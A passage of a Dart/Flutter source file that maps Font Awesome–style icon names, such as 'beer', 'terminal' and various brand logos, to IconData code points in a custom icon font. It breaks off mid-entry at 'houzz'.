'beer':
const IconData(0xf0fc, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'h_square':
const IconData(0xf0fd, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'plus_square':
const IconData(0xf0fe, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'angle_double_left':
const IconData(0xf100, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'angle_double_right':
const IconData(0xf101, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'angle_double_up':
const IconData(0xf102, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'angle_double_down':
const IconData(0xf103, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'angle_left':
const IconData(0xf104, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'angle_right':
const IconData(0xf105, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'angle_up':
const IconData(0xf106, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'angle_down':
const IconData(0xf107, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'desktop':
const IconData(0xf108, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'laptop':
const IconData(0xf109, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'tablet':
const IconData(0xf10a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'mobile_phone':
const IconData(0xf10b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'quote_left':
const IconData(0xf10d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'quote_right':
const IconData(0xf10e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'spinner':
const IconData(0xf110, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'circle':
const IconData(0xf111, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_github':
const IconData(0xf113, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'smiling_face':
const IconData(0xf118, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'frowning_face':
const IconData(0xf119, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'neutral_face':
const IconData(0xf11a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'gamepad':
const IconData(0xf11b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'keyboard':
const IconData(0xf11c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'flag_checkered':
const IconData(0xf11e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'terminal':
const IconData(0xf120, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'code':
const IconData(0xf121, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'reply_all':
const IconData(0xf122, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'location_arrow':
const IconData(0xf124, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'crop':
const IconData(0xf125, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'code_branch':
const IconData(0xf126, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'unlink':
const IconData(0xf127, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'question':
const IconData(0xf128, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'info':
const IconData(0xf129, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'exclamation':
const IconData(0xf12a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'superscript':
const IconData(0xf12b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'subscript':
const IconData(0xf12c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'eraser':
const IconData(0xf12d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'puzzle_piece':
const IconData(0xf12e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'microphone':
const IconData(0xf130, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'microphone_slash':
const IconData(0xf131, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'calendar':
const IconData(0xf133, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'fire_extinguisher':
const IconData(0xf134, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'rocket':
const IconData(0xf135, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'maxcdn':
const IconData(0xf136, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'chevron_circle_left':
const IconData(0xf137, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'chevron_circle_right':
const IconData(0xf138, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'chevron_circle_up':
const IconData(0xf139, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'chevron_circle_down':
const IconData(0xf13a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'html_5_logo':
const IconData(0xf13b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'css_3_logo':
const IconData(0xf13c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'anchor':
const IconData(0xf13d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_unlock':
const IconData(0xf13e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bullseye':
const IconData(0xf140, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'horizontal_ellipsis':
const IconData(0xf141, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'vertical_ellipsis':
const IconData(0xf142, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'rss_square':
const IconData(0xf143, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'play_circle':
const IconData(0xf144, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'minus_square':
const IconData(0xf146, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'check_square':
const IconData(0xf14a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pen_square':
const IconData(0xf14b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'share_square':
const IconData(0xf14d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'compass':
const IconData(0xf14e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'caret_square_down':
const IconData(0xf150, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'caret_square_up':
const IconData(0xf151, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'caret_square_right':
const IconData(0xf152, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'euro_sign':
const IconData(0xf153, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pound_sign':
const IconData(0xf154, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dollar_sign':
const IconData(0xf155, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'indian_rupee_sign':
const IconData(0xf156, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'yen_sign':
const IconData(0xf157, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'ruble_sign':
const IconData(0xf158, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'won_sign':
const IconData(0xf159, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'btc':
const IconData(0xf15a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'file':
const IconData(0xf15b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_file':
const IconData(0xf15c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sort_alphabetical_down':
const IconData(0xf15d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sort_alphabetical_up':
const IconData(0xf15e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sort_amount_down':
const IconData(0xf160, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sort_amount_up':
const IconData(0xf161, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sort_numeric_down':
const IconData(0xf162, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sort_numeric_up':
const IconData(0xf163, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'thumbs_up':
const IconData(0xf164, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'thumbs_down':
const IconData(0xf165, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'youtube':
const IconData(0xf167, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'xing':
const IconData(0xf168, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'xing_square':
const IconData(0xf169, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dropbox':
const IconData(0xf16b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'stack_overflow':
const IconData(0xf16c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'instagram':
const IconData(0xf16d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'flickr':
const IconData(0xf16e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'app_net':
const IconData(0xf170, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bitbucket':
const IconData(0xf171, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'tumblr':
const IconData(0xf173, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'tumblr_square':
const IconData(0xf174, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'apple':
const IconData(0xf179, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'windows':
const IconData(0xf17a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'android':
const IconData(0xf17b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'linux':
const IconData(0xf17c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dribbble':
const IconData(0xf17d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'skype':
const IconData(0xf17e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'foursquare':
const IconData(0xf180, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'trello':
const IconData(0xf181, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'female':
const IconData(0xf182, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'male':
const IconData(0xf183, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'gratipay__gittip_':
const IconData(0xf184, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sun':
const IconData(0xf185, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'moon':
const IconData(0xf186, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'archive':
const IconData(0xf187, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bug':
const IconData(0xf188, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'vk':
const IconData(0xf189, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'weibo':
const IconData(0xf18a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'renren':
const IconData(0xf18b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pagelines':
const IconData(0xf18c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'stack_exchange':
const IconData(0xf18d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'caret_square_left':
const IconData(0xf191, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dot_circle':
const IconData(0xf192, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'wheelchair':
const IconData(0xf193, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'vimeo_square':
const IconData(0xf194, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'turkish_lira_sign':
const IconData(0xf195, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'space_shuttle':
const IconData(0xf197, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'slack_logo':
const IconData(0xf198, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'envelope_square':
const IconData(0xf199, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'wordpress_logo':
const IconData(0xf19a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'openid':
const IconData(0xf19b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'university':
const IconData(0xf19c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'graduation_cap':
const IconData(0xf19d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'yahoo_logo':
const IconData(0xf19e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'google_logo':
const IconData(0xf1a0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'reddit_logo':
const IconData(0xf1a1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'reddit_square':
const IconData(0xf1a2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'stumbleupon_circle':
const IconData(0xf1a3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'stumbleupon_logo':
const IconData(0xf1a4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'delicious':
const IconData(0xf1a5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'digg_logo':
const IconData(0xf1a6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pied_piper_pp_logo__old_':
const IconData(0xf1a7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_pied_piper_logo':
const IconData(0xf1a8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'drupal_logo':
const IconData(0xf1a9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'joomla_logo':
const IconData(0xf1aa, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'language':
const IconData(0xf1ab, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'fax':
const IconData(0xf1ac, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'building':
const IconData(0xf1ad, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'child':
const IconData(0xf1ae, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'paw':
const IconData(0xf1b0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cube':
const IconData(0xf1b2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'cubes':
const IconData(0xf1b3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'behance':
const IconData(0xf1b4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'behance_square':
const IconData(0xf1b5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'steam':
const IconData(0xf1b6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'steam_square':
const IconData(0xf1b7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'recycle':
const IconData(0xf1b8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'car':
const IconData(0xf1b9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'taxi':
const IconData(0xf1ba, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'tree':
const IconData(0xf1bb, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'spotify':
const IconData(0xf1bc, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'deviantart':
const IconData(0xf1bd, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'soundcloud':
const IconData(0xf1be, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'database':
const IconData(0xf1c0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pdf_file':
const IconData(0xf1c1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'word_file':
const IconData(0xf1c2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'excel_file':
const IconData(0xf1c3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'powerpoint_file':
const IconData(0xf1c4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'image_file':
const IconData(0xf1c5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'archive_file':
const IconData(0xf1c6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'audio_file':
const IconData(0xf1c7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'video_file':
const IconData(0xf1c8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'code_file':
const IconData(0xf1c9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'vine':
const IconData(0xf1ca, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'codepen':
const IconData(0xf1cb, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'jsfiddle':
const IconData(0xf1cc, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'life_ring':
const IconData(0xf1cd, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'circle_notched':
const IconData(0xf1ce, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'rebel_alliance':
const IconData(0xf1d0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'galactic_empire':
const IconData(0xf1d1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'git_square':
const IconData(0xf1d2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'git':
const IconData(0xf1d3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hacker_news':
const IconData(0xf1d4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'tencent_weibo':
const IconData(0xf1d5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'qq':
const IconData(0xf1d6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'weixin__wechat_':
const IconData(0xf1d7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'paper_plane':
const IconData(0xf1d8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'history':
const IconData(0xf1da, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'heading':
const IconData(0xf1dc, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'paragraph':
const IconData(0xf1dd, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'horizontal_sliders':
const IconData(0xf1de, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_share':
const IconData(0xf1e0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_share_square':
const IconData(0xf1e1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bomb':
const IconData(0xf1e2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'futbol':
const IconData(0xf1e3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'tty':
const IconData(0xf1e4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'binoculars':
const IconData(0xf1e5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'plug':
const IconData(0xf1e6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'slideshare':
const IconData(0xf1e7, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'twitch':
const IconData(0xf1e8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'yelp':
const IconData(0xf1e9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'newspaper':
const IconData(0xf1ea, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'wifi':
const IconData(0xf1eb, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'calculator':
const IconData(0xf1ec, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'paypal':
const IconData(0xf1ed, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'google_wallet':
const IconData(0xf1ee, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'visa_credit_card':
const IconData(0xf1f0, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'mastercard_credit_card':
const IconData(0xf1f1, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'discover_credit_card':
const IconData(0xf1f2, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'american_express_credit_card':
const IconData(0xf1f3, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'paypal_credit_card':
const IconData(0xf1f4, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'stripe_credit_card':
const IconData(0xf1f5, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bell_slash':
const IconData(0xf1f6, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'trash':
const IconData(0xf1f8, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'copyright':
const IconData(0xf1f9, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'at':
const IconData(0xf1fa, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'eye_dropper':
const IconData(0xf1fb, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'paint_brush':
const IconData(0xf1fc, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'birthday_cake':
const IconData(0xf1fd, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'area_chart':
const IconData(0xf1fe, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pie_chart':
const IconData(0xf200, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'line_chart':
const IconData(0xf201, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'last_fm':
const IconData(0xf202, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'last_fm_square':
const IconData(0xf203, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'toggle_off':
const IconData(0xf204, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'toggle_on':
const IconData(0xf205, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bicycle':
const IconData(0xf206, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bus':
const IconData(0xf207, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'ioxhost':
const IconData(0xf208, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'angellist':
const IconData(0xf209, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'closed_captioning':
const IconData(0xf20a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'shekel_sign':
const IconData(0xf20b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'buysellads':
const IconData(0xf20d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'connect_develop':
const IconData(0xf20e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'dashcube':
const IconData(0xf210, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'forumbee':
const IconData(0xf211, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'leanpub':
const IconData(0xf212, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sellsy':
const IconData(0xf213, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'shirts_in_bulk':
const IconData(0xf214, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'simplybuilt':
const IconData(0xf215, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'skyatlas':
const IconData(0xf216, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'add_to_shopping_cart':
const IconData(0xf217, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'shopping_cart_arrow_down':
const IconData(0xf218, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'ship':
const IconData(0xf21a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'user_secret':
const IconData(0xf21b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'motorcycle':
const IconData(0xf21c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'street_view':
const IconData(0xf21d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'heartbeat':
const IconData(0xf21e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'venus':
const IconData(0xf221, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'mars':
const IconData(0xf222, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'mercury':
const IconData(0xf223, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'transgender':
const IconData(0xf224, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_transgender':
const IconData(0xf225, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'venus_double':
const IconData(0xf226, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'mars_double':
const IconData(0xf227, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'venus_mars':
const IconData(0xf228, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'mars_stroke':
const IconData(0xf229, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'mars_stroke_vertical':
const IconData(0xf22a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'mars_stroke_horizontal':
const IconData(0xf22b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'neuter':
const IconData(0xf22c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'genderless':
const IconData(0xf22d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pinterest_p':
const IconData(0xf231, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'what_s_app':
const IconData(0xf232, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'server':
const IconData(0xf233, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'user_plus':
const IconData(0xf234, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'remove_user':
const IconData(0xf235, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'bed':
const IconData(0xf236, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'viacoin':
const IconData(0xf237, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'train':
const IconData(0xf238, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'subway':
const IconData(0xf239, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'medium':
const IconData(0xf23a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'y_combinator':
const IconData(0xf23b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'optin_monster':
const IconData(0xf23c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'opencart':
const IconData(0xf23d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'expeditedssl':
const IconData(0xf23e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'battery_full':
const IconData(0xf240, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'battery_3_4_full':
const IconData(0xf241, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'battery_1_2_full':
const IconData(0xf242, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'battery_1_4_full':
const IconData(0xf243, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'battery_empty':
const IconData(0xf244, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'mouse_pointer':
const IconData(0xf245, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'i_beam_cursor':
const IconData(0xf246, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'object_group':
const IconData(0xf247, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'object_ungroup':
const IconData(0xf248, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'sticky_note':
const IconData(0xf249, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'jcb_credit_card':
const IconData(0xf24b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'diner_s_club_credit_card':
const IconData(0xf24c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'clone':
const IconData(0xf24d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'balance_scale':
const IconData(0xf24e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hourglass_start':
const IconData(0xf251, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hourglass_half':
const IconData(0xf252, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hourglass_end':
const IconData(0xf253, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'hourglass':
const IconData(0xf254, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'rock__hand_':
const IconData(0xf255, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'paper__hand_':
const IconData(0xf256, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'scissors__hand_':
const IconData(0xf257, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'lizard__hand_':
const IconData(0xf258, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'spock__hand_':
const IconData(0xf259, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'pointer__hand_':
const IconData(0xf25a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'peace__hand_':
const IconData(0xf25b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'trademark':
const IconData(0xf25c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'registered_trademark':
const IconData(0xf25d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'creative_commons':
const IconData(0xf25e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'gg_currency':
const IconData(0xf260, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'gg_currency_circle':
const IconData(0xf261, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'tripadvisor':
const IconData(0xf262, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'odnoklassniki':
const IconData(0xf263, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'odnoklassniki_square':
const IconData(0xf264, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'get_pocket':
const IconData(0xf265, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'wikipedia_w':
const IconData(0xf266, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'safari':
const IconData(0xf267, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'chrome':
const IconData(0xf268, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'firefox':
const IconData(0xf269, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'opera':
const IconData(0xf26a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'internet_explorer':
const IconData(0xf26b, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'television':
const IconData(0xf26c, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'contao':
const IconData(0xf26d, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'px500':
const IconData(0xf26e, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'amazon':
const IconData(0xf270, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'calendar_plus':
const IconData(0xf271, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'calendar_minus':
const IconData(0xf272, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'calendar_times':
const IconData(0xf273, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'calendar_check':
const IconData(0xf274, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'industry':
const IconData(0xf275, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'map_pin':
const IconData(0xf276, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'map_signs':
const IconData(0xf277, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'map':
const IconData(0xf279, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'alternate_comment':
const IconData(0xf27a, fontFamily: _kFontFam, fontPackage: _kFontPackage),
'houzz':
